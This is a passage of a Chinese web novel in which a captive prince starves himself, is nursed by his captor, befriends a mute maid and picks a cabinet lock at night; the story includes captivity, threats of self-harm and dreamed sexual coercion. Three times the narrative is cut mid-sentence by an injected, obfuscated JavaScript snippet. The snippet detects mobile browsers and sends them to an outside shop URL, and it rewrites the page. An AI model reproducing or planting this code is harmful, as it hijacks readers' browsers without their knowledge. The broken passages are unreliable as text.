他挥袖将食盒扫落在地,碗碟碎裂,污秽的食物溅了一地。 与其这样被一点点磨去尊严,像畜生一样苟延残喘,不如就此了断! 他不再看那些食物一眼,任由它们搁置,腐坏…… 饥饿感如同蚁噬,细细密密地啃咬着他的胃腹,阵阵绞痛。 岑月白毫不意外地生病了,体温越来越烫,却根本没有人在乎。 他蜷缩在榻上,冷汗浸湿了衣衫,意识在清醒与昏沉间浮沉。 又过了两日,眼见岑月白情况不对,门外侍卫终于慌了神。 若这人真饿死在这里,王爷归来,他们有几个脑袋够砍? 那疤脸侍卫硬着头皮,端着一碗稀粥,走了进来:“喂!起来吃点东西!” 岑月白连眼皮都未抬一下。 疤脸侍卫心中又惧又躁,尝试着将粥碗递到岑月白嘴边,却被推开。 “别给脸不要脸!”侍卫恼了,放下碗,伸手便想去捏开岑月白的下颌,想将那粥强行灌下去。 “你饿死了,我们都得给你陪葬!” 就在那粗糙的手指即将触碰到他脸颊的瞬间,原本虚软无力的岑月白用尽最后一股力气,猛地抬手狠狠推开了侍卫。 疤脸侍卫一屁股跌坐在地上,粥碗打翻,粘稠的粥水溅了一身。 岑月白挣扎坐起,背抵墙壁,手中竟又握住了那片染血的碎瓦,尖锐一角死死抵在颈侧。 “你……” “滚出去!”他声音嘶哑,眼神凶狠,“再碰我一下,我就死在这里!” 疤脸侍卫看着他颈侧的红痕,以及那双燃着冰冷火焰的眸子,一股寒意从脚底窜起。 他毫不怀疑,这个疯子真的会这么做! 他狼狈地爬起身,连滚带爬地冲出了院子。 岑月白脱力地跌坐在地上,意识开始飘忽,时间感变得混乱。 他想起落云国御膳房精致的点心,想起父王曾亲手喂他喝的甜羹,想起老师亲手做的素食小菜,想起燕诀偷偷塞给他的糖…… 那些曾经的记忆,像隔着一层纱帐,越来越模糊。 ……父王,母后,老师……对不起…… 黑暗如同温暖的潮水,彻底淹没了他。 但就在失去意识的最后一瞬,他似乎听到院门被“哐当”一声大力推开,还有一个蕴含着雷霆之怒的声音…… 是梦吗? 还是…… 高大的身影逆着光走了过来。 温暖的怀抱将他小心笼住,抱起。 谁? 是……倪映天吗? 他终于要对自己下手了吗? 岑月白想扯出一个嘲讽的笑,却连牵动嘴角的力气都没有,头一歪,彻底晕厥在倪映天的怀中。 4. 昭昭 岑月白的意识在一片柔软的暖意中缓慢浮沉。 他还活着。 这个认知让他混沌的思维清醒了一瞬,随即又被更深的疲惫和虚弱淹没。 身体像是被拆散重组过,他的每一寸骨骼都无比酸痛,喉咙干渴,胃腹阵阵绞痛。 屋内很静,只有炭火偶尔发出的轻微“噼啪”声。他试图动一动手指,却发现连这点力气没有,眼皮更是沉重得像压了铅块。 他能听到一个极近的呼吸声,就在他榻边。 是谁? 他艰难掀开一丝眼帘,透过睫毛的缝隙,他看到了一个模糊的人影。 模糊的视线逐渐清晰。 那人身穿玄色的衣袍,身姿挺拔地坐在榻边,身体微微前倾,正目不转睛地盯着他。 是倪映天。 他唇角紧抿,眉头微蹙,正专注地打量着自己的身体,认真到甚至没发现他已经醒了。 他在看什么?岑月白心下一凛。 不过,倪映天的表情很奇怪。 不像梦中那般的阴鸷,或是狠戾,甚至没有那种掌控一切的从容。他那双十指修长,骨节分明的手,此刻微微蜷着,显得有些无措。 他似乎在犹豫着什么? 就在岑月白困惑不解时,他感觉到,盖在身上的棉被边缘,被轻轻掀起了一角。 紧接着,自己被子下的左手被人极轻地碰触了一下。 是倪映天的手指。 碰触一触即分。倪映天像被烫到般猛地缩回手,身下圆凳甚至向后蹭出轻响。 更令岑月白瞳孔骤缩的是,他清晰地看到,倪映天的耳根居然以肉眼可见的速度泛起了一层薄红。 什……什么? 脸红? 倪映天? 那个在梦里用尽下作手段,冷酷无情的魔鬼,会……脸红? 就因为碰了一下他的手? 一种荒谬感让岑月白毛骨悚然。 他开始怀疑这是不是自己高烧未褪产生的幻觉。 一旁的倪映天似乎也在懊恼,他深吸了一口气,像是下定了某种决心。 再次伸出手,他带着一股“视死如归”的目光,右手径直探入被中,一把握住了岑月白冰凉的手。 他的手掌宽大,完全包裹住了岑月白的手,力道不轻不重。 指节都像是不会弯曲了,只是那么干巴巴地握着,不知该如何摆放。 “?” 这算怎么回事? 在那些预言梦里,倪映天的触碰总是带着明确的情欲或惩罚的意味,或轻佻,或粗暴,或爱怜…… 什么时候有过这么别扭的抚摸? 对方的温度透过皮肤传来,岑月白指尖无意识一颤。 倪映天如同触电般猛地将手抽了回去,再次弹开,这次连圆凳都差点带倒。 “我草,”他霍然站起身,狼狈地指控道,“你怎么醒了?也不说一声……” 岑月白被他这通反应弄得也跟着紧张,一口气没顺,就猛地咳嗽起来。 他咳得撕心裂肺,牵动了虚弱的内腑,身体隐隐作痛,苍白的脸颊泛起病态的红潮。 倪映天见状,立刻又坐回了榻边,下意识地俯身,将他半扶起来靠在自己臂弯里,另一只手有些生疏地拍着他的背。 他的动作算不上温柔,但脸上掩不住地担心。 “咳咳……水……”岑月白咳得眼泪都出来了。 倪映天立刻朝旁边低喝:“水!” 一直静立在旁的一名侍女立刻端着一只小巧的瓷碗上前,碗里是温热的清水。 倪映天接过,小心翼翼地将碗沿凑到岑月白唇边。 岑月白就着他的手,小口啜饮着温水,干涸的喉咙得到滋润,咳嗽渐渐平息。 他垂眉暗忖,梦中似乎也有这样的画面。 往往是某些倪映天玩狠了之后的清晨,他被折腾了个半死,倪映天会莫名地对自己格外体贴温柔,百依百顺。 但那温柔更像是对自己所有物的怜惜,或是对“征服”成果的把玩,底色从未改变。 等他喝完水,倪映天又接过另一只碗,里面是熬得香糯软烂的米粥。 倪映天似乎本想直接递给岑月白,让他自己喝,但当他看到对方虚弱地只剩半口气的样子时,动作又僵在了半空。 他最终拿起碗里的白玉汤匙,舀了半勺,递到岑月白嘴边。 岑月白不想喝,一动不动地抿着唇。 倪映天的目光落在他因咳嗽而湿润泛红的眼角,眼神复杂地闪烁了一下。 “吃点东西,”倪映天语气硬邦邦的,“要是死了怎么办?” - 岑月白静静看着他。 他不明白这家伙脑子里究竟在想什么?难道他真得转性子了? 不,不可能。 就算那些梦是假的,是在整个大雍,小梁王的荒淫无度和手段狠辣都是出了名了,绝非空穴来风。 要不然侍卫们怎么会这么怕他? 一定是伪装,是更高明,更折磨人的新把戏。 是为了让他放松警惕,然后再给予更沉重的打击吗? 汤匙抵在唇边,岑月白迟疑了一下,还是张开了嘴。 温热的粥滑入食道,空荡许久的胃部传来一阵舒适的暖意。他被动地接受着喂食,目光落在倪映天脸上。 第二勺递来。两人之间的距离无意间拉得更近。 岑月白能清晰地看到对方的睫毛,感受到他呼吸间温热的气息拂过自己的头发。 但倪映天握着汤匙的手,似乎……更僵硬了。 倪映天的视线飘忽了一下,从岑月白的嘴唇迅速移开,落到碗里,又迅速移走,有些不知该落向何处。 耳根那抹刚刚褪下去的红晕,隐隐又有复燃的趋势。 他的动作越来越慢,越来越不自然。 喂完第三勺后,他像是终于无法忍受这种古怪的气氛,猛地将碗和勺子一股脑塞回旁边侍女的手中。 “你……你既然醒了,我还有要事,就先出去忙了。” 他语速极快,丢下这句话,转身大步流星地朝外走去。玄色的衣袍带起一阵风,背影都透着藏不住的烦躁。 房门“哐”一声被关上,隔绝了岑月白无比困惑的视线。 刚才那人,真是倪映天? 难道真的鬼上身了? 不,一定是阴谋! 是倪映天察觉到自己以死相抗的决绝,换了策略。先用这种反常的无害的姿态降低他的戒心,瓦解他的意志。 等他稍微恢复,放松警惕,真正的折磨才会开始。 想到那些“折磨”,岑月白又感到身体各处的隐痛似乎变得更加清晰。 他缓缓低头,掀开身上柔软温暖的锦被,急切地检查自己的身体。 衣衫已经换过了,是一套质地上乘,触手柔软的素白寝衣。 他动作间,腰侧传来一阵明显的酸痛。撩起衣摆,只见腰间白皙的皮肤上,满是青一块红一块的痕迹,在苍白的肌肤上格外刺眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301672|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑月白脑中嗡鸣。 果然! 他还是做了! 他还是对自己下手了! 所以今天才会显得这么贴心! 一阵强烈的恶心和眩晕感袭来。 他猛地捂住嘴,胃里空荡荡,只能干呕。 可恶。 恶心……太恶心了! 他大口喘息,肩膀无法控制地微微颤抖。 就在这时,轻微的脚步声靠近。是那个一直安静侍立在一旁的侍女。看起来约莫只有十三四岁,还未及笄。 她端着一个新的食盒,里面是熬得更烂的肉糜粥和几样清淡小菜。她将矮木几搬到床边,盛出一小碗粥,用汤匙舀了,默默递到岑月白面前。 岑月白没有理会。 侍女耐心地举着勺子,一动不动。 半晌,他沙哑出声:“……他让你来的?” 侍女没有回答。 “说话!”岑月白忽然抬起头,眼眶通红,“我受够了,他凭什么不让你们跟我说话。” “他不是对我不管不问吗?为什么让不让我干脆死了?现在这又算什么?!倪映天还吩咐了什么?看着我像条狗一样摇尾乞食,是不是很有趣?!” 侍女被他吓到,瑟缩了一下,却只是摇头,将勺子又往前递了递,眼中带着恳求。 “说话啊!你们都是哑巴吗?!”他猛地一挥手。 “啪!” 清脆的碎裂声响起。 白玉汤匙被打落在地,摔成几截,滚热的粥也溅了一些在侍女橘黄色的裙摆上。 侍女惊呼一声,却只发出“啊……啊……”的短促气音。 她慌忙蹲下身去收拾碎片,抬起脸时,眼中已蓄满了泪水,却并非是委屈,而是一种焦急和难过。 她朝着岑月白使劲摆手,又指着自己的喉咙,连连摇头,嘴里只能发出含糊的“啊啊”声。 岑月白愣住了。 她居然……真的是哑巴? 少女清秀脸上满是焦急的泪痕,眼神担忧,岑月白胸口的暴戾和恶心感,骤然消散了。 取而代之的是一阵迟来的懊悔。 他张了张嘴,声音低了下去:“……对不住,姑娘,我……我不是有意的。” 那橘黄色衣裳的侍女摇了摇头,用手背擦了擦眼泪,很快恢复了平静。 她手脚麻利地清理干净地面,又从食盒里取出备用的碗勺,重新盛了粥,坐回床边,静静看他。 她的目光清澈而坚持,带着一点小心翼翼的央求。 岑月白看着那双清澈的眼睛,又看了看递到嘴边的粥。 无论如何,倪映天已经回来了,看那表现是不想让自己死的。他若再绝食,恐怕不会再像之前那样无人过问。 他再生气恼怒,对着这样一个无法言语的小姑娘发火又有什么用呢? 岑月白闭上眼,深吸一口气,他伸出手,接过了少女手中的汤匙。 少女的眼睛弯了弯,眼神明显亮了一下。 她耐心地,慢慢看着岑月白一勺一勺地吃完了大半碗粥。 “你叫什么名字?”岑月白看着少女收拾碗筷的背影,忽然问道。 少女认真地回忆了一下,拉过他的手,在他手心横平竖直地写下一个字。 “昭?”岑月白辨别了出来。 少女点点头,又把这个字写了一遍。 “你叫昭昭?” “嗯。”少女重重地点了一下头,粲然笑了起来,她似乎很喜欢这个名字。 5. 吻 岑月白又在揽月阁养了七八日,高热退去,咳嗽渐止,身上也渐渐地没那么疼了。 但精气神却依旧萎靡不振,昏昏沉沉的。 生病后他的脑子一直乱乱的,身体也没什么力气。他没心力再想什么逃跑计划,终日病恹恹地倚在榻上或廊下,看日影从东墙挪到西墙。 说实话,经了鬼门关这一遭,他也不怎么想活了。 只是倪映天也不会让他轻易死掉。 昭昭每天陪在他身边,从厨房取来的餐食,无论多么精致可口,他只吃几口,便摇头推开。 实在是没什么胃口。 昭昭是个很好的陪伴者,安静又勤快。 她不会说话,却会用动作表达关切,会在他望着天空发呆时,默默递上一杯温水,或是一块干净的帕子。 病好了些之后,岑月白有时与她聊天,或多或少地能从她那里再多打听出一些消息。只是他发现昭昭除了会写自己的名字,并不识字。 于是闲的时候,他就在廊下,用手蘸着水,教她在地上写字。 昭昭的眼睛亮亮的,学得很认真,看着他的眼神里多了一些仰慕和感激。 从她零碎比划和问答中,岑月白渐渐拼凑出她的来历。 原来她并没有跟倪映天很久。 她原本是舞阳城卖身葬父的孤女,前几日,倪映天巡城,到了舞阳后,见她手脚麻利买下的。 倪映天给了银钱安葬父亲,带回府中做事。 岑月白问她,对倪映天印象如何? 昭昭想了想,手指蘸水,在地上认真写下刚学的两个字。 “好人。” “好人?”岑月白瞥了一眼,嗤笑一声,没多说什么。 在她眼里,倪映天当然是个大善人。 倪映天愿意给她一个屋檐,给她一笔钱让自己的父亲安息。 但岑月白对此不屑一顾,如果那畜生真得是个好人,自己又怎么会在这里,这样的下场? 这姑娘只是被倪映天的障眼法蒙蔽了,看不透那人披着的伪善的皮罢了。 他愈发认定倪映天此人惯会做戏,表里不一。 胃口不开,人便眼看着清减下去。 岑月白原本就不合身的衣物更显空荡,腕骨伶仃地突出。 昭昭急了,比划着说要去禀告王爷。 岑月白不置可否。 但倪映天似乎真的很忙,救下他那天之后,便再未踏足揽月阁。 但他显然收到了昭昭的“告状”。 第二日起,每日送到小院的除了例常膳食,又多了一碟碟精致的点心。 酥皮泛着蜜光的糖糕,捏成花瓣形状的豆沙饼,晶莹剔透的梅花冻…… 岑月白看着那些好看造型,这都是大雍这边很出名的吃食,哪怕是在落云皇宫里,也不是轻易能吃到的。 他的心弦被极轻微地拨动了一下,旋即又被更深的警惕覆盖。 他不敢碰那些过于精巧的甜点,谁知道里面掺了什么软筋散还是迷魂药,或是更龌龊的东西。 他记得在梦里,倪映天长期在他的饮食里掺入一些奇怪的药粉。据说是专程去西域搞来的,那些药粉除了催情,还让他的身体发育得越来越像一个女人。 岑月白每每想到都一阵反胃。 他只偶尔挑一两枚看起来最不可能动手脚的果子。 还要亲自到院中井边,用清水反复冲洗许多遍,以防沾着不干净的东西。 这不吃那不吃,昭昭眼看着他又消瘦一圈,急得团团转。 再这样下去又要病了! 终于,在某日倪映天难得回府时,昭昭大着胆子拦了他的路,连连磕头比划着。 翌日下午,倪映天终于再次出现在了揽月阁门口。 他今日未穿正式袍服,只一身便于行动的玄色武袍,风尘仆仆,眉宇间带着一丝未褪的倦色。 他身后一个侍卫也没跟着,亲自提着一个精巧的双层食盒,步履生风地走了进来。 昭昭躬身垂眉退到一旁。 倪映天径直走到岑月白惯常坐着的矮几前,将食盒“嗒”一声放下。 他没说话,只动手打开盒盖。 一股熟悉而久违的清甜气息,袅袅飘出。 岑月白的目光凝固了。 食盒上层,是几块落云国特有的云片糕,用新米和蜂蜜蒸制的洁白柔软,层层分明。 旁边是两只裹着翠绿粽叶的糯米豆沙,下层是一小罐凝脂般的桂花糍粑,和他母后小厨房里做的几乎一模一样。 他小时候最爱吃这个。 岑月白抬眸看着对面的倪映天,眼中满是惊讶。 不知不觉,他来到这大雍的青陵,已近一月。 大雍的饮食虽然不差,但与落云国的精致清甜的风格迥异。 他从未表露过思乡,更不曾索要过故乡食物。 这些……倪映天是从哪里弄来的? 没来由地,心脏某处的柔软角落,仿佛被羽毛极轻地恼了一下,泛起一丝微酸的涟漪。 意识到自己的一点点动摇之后,岑月白猛得重新警觉起来。 倪映天哪会这么好心? 他才不信。 这家伙定是准备用故乡的味道和些微的关心来瓦解他的戒备心,让他渐渐产生依赖,好最终掌控自己。 倪映天见他只是盯着,不动也不说话,脸上没什么表情。 他只是轻微地叹了口气,伸手拈起一块云片糕。 当着他的面,咬了一口,慢慢咀嚼,咽下。然后,将剩下半块直接递到岑月白唇边。 “没毒。” 他言简意赅,坦然地与岑月白对视。 岑月白的喉结滚动了一下,糕点香甜的气息近在咫尺,抗拒的本能和渴望的舌尖在交战。 最终,他微微张开了嘴。 倪映天将那半块糕点喂了进去,指尖不可避免地轻轻擦过他的下唇。两人都几不可察地僵了一下。 岑月白偏过头去。 清甜软糯的滋味在口中化开,是记忆里温柔笑着递来的味道,是落云国春日宮墙下,微风送来的甜香。 眼眶猝不及防地一热,他慌忙垂下眼,别过头去。 倪映天还是看出了他的难过,他起身,将昭昭带到屋外,对他低声嘱咐了几句。 等岑月白勉强压下心头翻涌的情绪,抬起眼时,才发现昭昭已经不见了。 整个小院里,一个人都没有! 倪映天正转过身,关紧了内室的门,一步步向他走来。 刚刚因故乡食物而短暂松懈的心弦,瞬间绷紧至极限。 室内只剩下他们两人! 他要干什么? 终于要露出真面目了吗? 对方高大的身影逐渐笼罩下来,岑月白下意识地想要后退。 直到他退无可退,背脊抵上冰冷的墙面,只能眼睁睁看着倪映天走近。 倪映天走得很近,两人距离近得能看清对方睫毛的颤动。 岑月白屏住呼吸,手指无意识地攥紧了衣摆。他闭上眼别过头去,对方的手却掰过他的下巴。 对方的唇凑的极近,却迟迟不落下,岑月白慌乱得目光都不知道应该落在哪里。 他看到脸上没什么表情,嘴唇紧紧地抿着,目光沉沉地落在自己的唇上,似乎在犹豫着什么。 “你……你想干什么……” “……” 然后,毫无征兆地,倪映天忽然低下头。 两片柔软的唇瓣飞快地在他唇上碰了一下。 蜻蜓点水,一触即分,快得像错觉。 温热,柔软,干燥,带着一点糕点残留的微甜,和对方身上清冽干净的味道。 没有噩梦中令人窒息的掠夺,没有令人作呕的唇舌纠缠,笨拙生涩地甚至有些僵硬。 “?”岑月白彻底懵了,大脑一片空白,眼睛瞪得极大。 他看见倪映天近在咫尺的脸庞,以及他同样无措的眼神。 下一秒,他看到倪映天的脸颊和耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301673|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根,以惊人的速度爆红,连脖颈都染上了一层绯色。 那双总是深不见底的眼眸里,闪过明显的慌乱。 倪映天像是被自己这举动烫到,猛地直起身,别开脸,嘴唇抿得死紧,最终一句解释或威慑的话都没说。 他转过身,逃也似地大步冲出了屋子。 他跑了! “砰”地一声,门被带上,脚步声凌乱地迅速远去。 留下岑月白一个人,僵在原地,如同被雷劈中。 他……刚才……被倪映天……亲了? 就……这么一下? 他下意识地抬手,指尖轻轻碰了碰自己的嘴唇。 那里似乎还残留着一点陌生的温软触感,以及对方那一瞬间滚烫的呼吸。 脸上后知后觉地烧了起来,他在原地站了半晌,忽然双腿一软,滑坐在地上。 疯了……倪映天疯了! 还是自己疯了? 出现幻觉了! 那个阴鸷狠戾,强取豪夺的雍国梁王,会……这样亲他? 亲得如此……纯情? 亲完自己还脸红逃跑?! 这算什么?! “莫名其妙!”他简直难以理解,“你亲就亲……你……你跑什么!脸红什么!” 他越是回想那仓促如偷情的一吻,还有对方落荒而逃的背影,心跳居然也乱了。这可是他的初吻啊!就这么不明不白…… 要干什么?! 不,不对…… 像是为了平复自己狂跳的心脏和脑海中那一丝丝的动摇,他不断地说服自己。 有问题,这里面一定有问题! 倪映天怎么可能是这样的?! 他不相信! 他抬起头,努力让自己的头脑恢复清明。 他明白了。 这一定是倪映天的新游戏,新策略。 装出这副纯情笨拙,温柔体贴的模样,又是送故乡旧物示好,又是试毒表诚意,再来这么一下情难自禁又羞涩慌乱的亲吻…… 跟对昭昭一样,他就是在演戏! 不就是想玩那套温水煮青蛙的把戏吗? 倪映天想营造一种错觉,让岑月白以为他或许并非传闻中那般不堪,或许对他有几分特别,甚至有几分真心? 然后让他一步步放松警惕,卸下心防,在虚假的温情中沉溺,最终心甘情愿地向他屈服,甚至爱上这个仇敌? 岑月白成功说服自己后,终于镇定下来。 但是倪映天,你这算盘可是打错了。 岑月白自认为有那些鲜血淋漓的预言梦,早已看透他温良和善的皮下是什么样的。 倪映天真有那么好,他怎么会是如今这般境地? 怎么会被软禁在这小院里? 任凭倪映天扮出再纯情无措的模样,在他眼里,也不过是恶心又做作的伪装。 想明白了之后,他咬着下唇,缓缓站起身。 掸了掸衣袍上并不存在的灰尘,岑月白走到院中的井旁。望着井水中自己清瘦的脸,直到他重新地恢复平静。 - “啊!”刚从门外回来的昭昭看到他站在井边,吓了一跳,以为他要自尽。 连忙过来将他抱住,从井边拉了回来。 岑月白先是一懵,疑惑地看着惶恐着急的昭昭。明白她是真得在担心自己之后,岑月白忽然笑了起来。 他本就长得干净漂亮,昭昭第一次看到这人真心的微笑,一时间看得入迷。 “别担心,我不想死了。”岑月白揉了揉她的头,“他想跟我玩,那就先玩着。” 对方也不可能在玩这种猫捉老鼠游戏时,对他使用那些下三滥的手段。 虽然撕不撕烂这层伪装都在倪映天的一念之间,但多少能有几分喘息之机。 不知道倪映天这份兴致这份能撑到几时,但这是他最自由的时间,最大的机会。 他不能再自暴自弃下去了。 他要继续找办法,逃回落云国! 6. 线索 夜深了,揽月阁内炭火将尽。 岑月白裹紧身上的外袍,激动地坐起身,瞬间睡意全无。 记忆的碎片在脑海中反复翻涌,他终于拼凑出一些模糊的轮廓! 那是梦中一个混乱的场景。 他被红绸蒙住双眼,四肢被丝带束缚,倪映天将他冷落在一旁不管也不顾,淡然地跟属下交谈。 声音时远时近,似乎是要追捕什么人。为了讲清方位,倪映天似乎走开了几步,传来纸张展开的细微声响,还有指尖划过图面的摩擦声…… 那一定是地图! 那地图,当时应该就在这间屋子里! 刚回忆到这一点让他心脏狂跳。 若真有地图,或许能窥见青陵城的布局,甚至如果是倪映天私密的地图,说不定还有些是通往城外的暗道。 这是他目前唯一的线索。 他悄悄起身,赤足踩在冰凉的地板上,开始第二次更仔细地搜寻揽月阁。 白日里他已看过多次。 陈设简单,书架上的书是装饰,几本四书五经崭新地纤尘不染。 墙上几幅意境萧疏的山水画,画轴后空空如也。 床榻、桌案、椅凳、琴台……能翻看的地方他都暗中检查过,一无所获。 他的目光最终回到墙角那个不起眼的乌木矮柜上。 柜子样式古朴,体积不大,柜门中央,挂着一把小小的铜锁。 黄铜质地,是最常见的簧片锁,锁身光滑,没有特殊纹饰,显然不是用来保管绝密物品的。更像是某人随手锁上,防止旁人无意打开。 他蹲下身,凑近仔细观察。锁孔不大,边缘光滑。 这种锁,他会开! 那时他还是小太子,调皮想偷国师的法器玩。 他知道燕诀早年混迹市井,三教九流的东西都懂一些。最终燕诀拗不过他,又怕他硬来弄坏东西受罚,便悄悄教了他这些“旁门左道”。 后来他们还是被国师抓到了。 岑月白梗着脖子,一口咬定是自己顽劣,与燕诀无关。国师的目光在他倔强的脸上停留片刻,心如明镜似的,宠溺地叹了一口气。 最终他自己没受罚,反倒是燕诀被罚着扫了一个月的大殿…… 他甩甩头,细细回忆了当年燕诀是怎么教他的。 次日,他借着胃口不佳,想换换口味的由头,旁敲侧击地从昭昭那里弄来了小半碗猪油和一小瓶醋。 他又借口院里竹篱笆有些松动,怕划伤人,向昭昭要了把小刀。然后他偷偷削下一片细竹,在磨刀石上反复打磨变薄,前端削成极细的楔形。 一切准备就绪。 这天夜里,岑月白估摸着昭昭已经睡下,王府巡夜的脚步声也过了两轮,便悄悄起身。他将醋滴入锁孔,又扯下自己几根长发,蘸上猪油,小心探入锁孔,轻轻搅动,试图清理里面可能存在的锈蚀,简单地做了润滑。 然后,他取出藏在发髻里的小竹片,前端抹上一点猪油,屏住呼吸,将竹片尖端小心翼翼探入锁孔。 他侧过头,将耳朵紧紧贴在柜门上,全神贯注地听着锁芯内微弱的动静。 只凭着多年前那一次模糊的记忆,用竹片前端轻轻拨动,试探,寻找着簧片的位置。汗水从额角渗出,握着竹片的手因为紧张和用力微微发抖。 就在这时。 “咿呀”一声轻响,房门被推开了! 岑月白瞬间吓得魂飞魄散,手猛地一抖,只听锁孔内传来“嗒”一声轻响。 完了!竹片被卡住了! 昭昭提着盏小油灯出现在门口,昏黄的光晕映出她担忧的脸。她似乎是听到了屋内不同寻常的细微响动,放心不下,起来查看。 昭昭的目光落在地上敞开的醋瓶,盛着猪油的小碗,插着竹片的铜锁,以及岑月白瞬间惨白的脸…… 瞬间明白了一切。 岑月白心脏几乎停跳,竖起一根手指抵在唇边,做了一个恳求的“嘘——”的口型。 他脑子里一片混乱。 是立刻制住她?分辩?解释? 昭昭没有动作。她静静看了他片刻,又看了看那把锁。 然后,她走上前,将手里的油灯稳稳地塞进岑月白空着的那只手里,示意他拿好照亮。接着,她蹲下身,就着灯光,仔细观察了一下锁孔和卡住的竹片。 她伸出纤细却并不柔弱的手指,握住了露在外面的那截竹片。没有犹豫,手腕极细微地转动,指尖传递着一种奇异的稳定感。 咔、嗒、咔吧…… 几声清晰利落的机括响动传来。 岑月白目瞪口呆地看着昭昭手上几个干脆的动作,那把铜锁竟然就“啪”一声,弹开了! 昭昭抽出竹片,放在一边,抬起头,对上岑月白震惊无比的眼神。 她脸上没什么特别的表情,只是拍了拍手上的灰尘,指了指打开的锁,又指了指岑月白,眼神似乎在说:好了。 “你……”岑月白有些怔愣,“你为什么……帮我?” 他难以置信:“你不是他的人吗?你不是觉得倪映天是好人吗?帮我有什么好处?” 昭昭眨了眨眼,拉过岑月白空着的那只手,摊开他的掌心。她的指尖微凉,在他掌心一笔一划,认真地写下两个字: “好人” 写完,她将岑月白的五指轻轻合拢,握成拳头,然后拉着他蜷起的手,轻轻在他的心口位置敲了敲。 “好人……我也是?” 岑月白愣住了。 昭昭点了点头。 “为什么?” 昭昭又在他掌心写了一个新学的字——“学”。 岑月白看着她纯净的,带着一丝腼腆笑意的眼睛,慢慢明白了。 因为自己平日闲暇时,教她识字,教她怎么写日月山川,教她写天地玄黄, 所以她觉得,他也是“好人”,她愿意帮他,愿意保守这个秘密。 岑月白的心口像是被什么柔软的东西撞了一下。他看着昭昭,喉咙有些发堵,最终只是轻轻点了点头,说了声“谢谢”。 昭昭也点点头,指了指外面,又指了指床榻,比划了一个睡觉的姿势,眼神带着催促。 然后,她就提起裙子,轻手轻脚地退了出去,细心地将房门虚掩上。 屋内重新陷入寂静,只剩下岑月白手中油灯跳动的火光。 他深吸几口气,取下那把打开的铜锁,拉开了乌木柜门。柜内比想象中深一些,整齐地码放着几叠书卷,还有两个摞在一起的精致木匣。 他先将那两个匣子搬到一旁的地上。 第一个搬出来的木匣,入手颇有些分量,做工精巧,像是女子用的妆奁,分上下两层。岑月白心中疑惑,随手打开上层。 映入眼帘的,是整齐排列的七八个圆形小瓷盒,每个只有青杏大小,颜色各异,有莹白,有淡青,有浅绯。 他心中莫名一跳,拿起一个白色瓷盒,揭开。 里面是半透明的凝脂状膏体,无色无味。 他又打开一个淡青色的,里面是淡绿色的软膏,散发着清凉的药草气息。 再开一个浅绯色的,膏体更偏向液态,气味有些奇特。 在油灯跳动的光影下,岑月白的脸一阵白一阵红! 他第一眼就看出来了这是什么东西! 他在梦里见到过! 这根本不是普通的药膏! 这是……是倪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301674|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映天用来对付他的东西! 白色的是润滑脂膏,淡绿色的是消肿镇痛的,那浅绯色的……是带着微弱催情效果的,还有能发热的,能变凉的…… 梦里那些混乱的画面,伴随着被各种异物侵入,涂抹,挑弄的可怕记忆,瞬间向他用来。 “哐当!” 岑月白立刻合上匣子,把这不干净的东西摔到了一旁。 果然,倪映天这个禽兽,这些东西早就准备好了! 而且就放在离他床榻不远的地方。 前些天那些纯情的伪装,此刻在这匣子面前显得无比可笑,无比下作! 他闭了闭眼。目光转向另一个木匣。 这个匣子略小一些,样式更古朴,盖子上似乎刻着字。他拿起来,凑到灯下。 匣盖上刻着两行清隽的小字: “风清月白,赠我心期” 是倪映天的笔迹。 岑月白怔住了。 风清“月白”? “这意思是……送我的?”他心中惊疑不定,缓缓打开匣盖。 里面铺着厚厚的软垫和光滑的丝绸,中央,静静卧着一块方玉。 玉很大,比他一个巴掌还长,半掌宽,未经雕琢,玉质极佳。 灯光透过玉身,隐隐流动,美得惊心动魄,像一泓凝住的月光。 更奇异的是,这玉在冰冷的匣中不知存放了多久,触手却是一片温润,仿佛自带暖意。 “暖玉……”岑月白喃喃。这么大的一方暖玉,这可是好东西。 倪映天真的是送给我的吗? 他有点不确定。 毕竟他可不记得梦里倪映天送他过什么东西。 他无暇深究,将暖玉小心放回原处,合上盖子。现在,找到地图才是关键。 他定了定神,将注意力完全转移到柜内剩下的书卷上。 外面摆着的四书五经崭新如初,而柜子里这两沓书,却显得陈旧许多,边角磨损,书页泛黄,显然是经常翻阅的。 他小心地将它们搬出来,放在地上。 奇怪的是,这些书深蓝色的封皮上都是干干净净的,什么都没写。 怎么回事?没有书名?难道不是统一印刷的? 忽然,一本颜色稍深、装帧不同的书吸引了他的目光。 岑月白伸手将它抽出来。 《落云图志》 岑月白心中一跳,翻开封面。 